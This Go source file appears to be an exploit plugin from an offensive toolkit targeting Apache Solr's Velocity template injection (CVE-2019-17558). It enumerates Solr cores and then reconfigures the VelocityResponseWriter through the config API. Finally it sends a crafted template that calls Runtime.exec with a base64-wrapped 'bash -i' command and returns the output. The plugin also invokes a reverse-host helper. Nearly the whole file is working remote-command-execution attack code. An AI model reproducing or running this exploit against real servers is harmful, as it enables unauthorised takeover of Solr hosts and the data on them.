package drops

import (
	"context"
	"encoding/base64"
	"encoding/json"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	logx "gitee.com/wudicaidou/menciis-logx"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"time"
)

type SolrVelocityCve201917558 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SolrVelocityCve201917558
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SolrVelocityCve201917558) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "64bd5102-e46d-4e8b-aa54-6f4a90207504",
		VulId:   "56a12092-3e92-4f89-bf78-1b301d59dae7",
		Name:    "SolrVelocity_CVE_2019_17558",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *SolrVelocityCve201917558) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	if len(expContext.CommandToExecute) == 0 {
		return nil, nil
	}

	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}

	var (
		newUrl *url.URL
		resp   *http.Response
	)

	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()

	newUrl, err = url.Parse(baseUrl + "/solr/admin/cores?indexInfo=false&wt=json")
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodGet

	resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err != nil {
		log.Println("ERROR(ExecuteCommand[GET]):", err)
		return nil, err
	}

	respBody, _err := ioutil.ReadAll(resp.Body)
	if _err != nil {
		logx.Error(_err)
		return nil, _err
	}

	type RespType struct {
		ResponseHeader struct {
			Status int `json:"status"`
			QTime  int `json:"QTime"`
		} `json:"responseHeader"`
		InitFailures map[string]interface{} `json:"initFailures"`
		/*Status       map[string]struct {
			Name        string `json:"name"`
			InstanceDir string `json:"instanceDir"`
			DataDir     string `json:"dataDir"`
			Config      string `json:"config"`
			Schema      string `json:"schema"`
			StartTime   string `json:"startTime"`
			Uptime      int    `json:"uptime"`
		} `json:"status"`*/
		Status map[string]interface{} `json:"status"`
	}

	var rt RespType
	if err := json.Unmarshal(respBody, &rt); err != nil {
		return nil, err
	}

	if len(rt.Status) == 0 {
		logx.Error("solr got the cores is empty, exit.")
		return
	}

	var coreName string
	for k, _ := range rt.Status {
		coreName = k
		break
	}

	newUrl, err = url.Parse(baseUrl + "/solr/" + coreName + "/config")
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36")
	req.RawRequest.Header.Set("Content-Type", "application/json")

	apiData := `{
		"update-queryresponsewriter": {
		"startup": "lazy",
			"name": "velocity",
			"class": "solr.VelocityResponseWriter",
			"template.base.dir": "",
			"solr.resource.loader.enabled": "true",
			"params.resource.loader.enabled": "true"
	    }
	}`

	req.SetBody([]byte(apiData))

	resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	if resp.StatusCode != 200 {
		logx.Error("solr velocity post status code:", resp.StatusCode)
		return
	}

	if _, err = ioutil.ReadAll(resp.Body); err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.Method = http.MethodGet
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	//for _, cmd := range expContext.CommandToExecute {
	vulUrl := baseUrl + "/solr/" + coreName + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" +
		url.QueryEscape(res) + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

	newUrl, err = url.Parse(vulUrl)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.URL = newUrl

	resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	respBody, err = ioutil.ReadAll(resp.Body)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    respBody,
	})
	//}
	time.Sleep(time.Second * 1)
	return
}

func (t *SolrVelocityCve201917558) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *SolrVelocityCve201917558) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
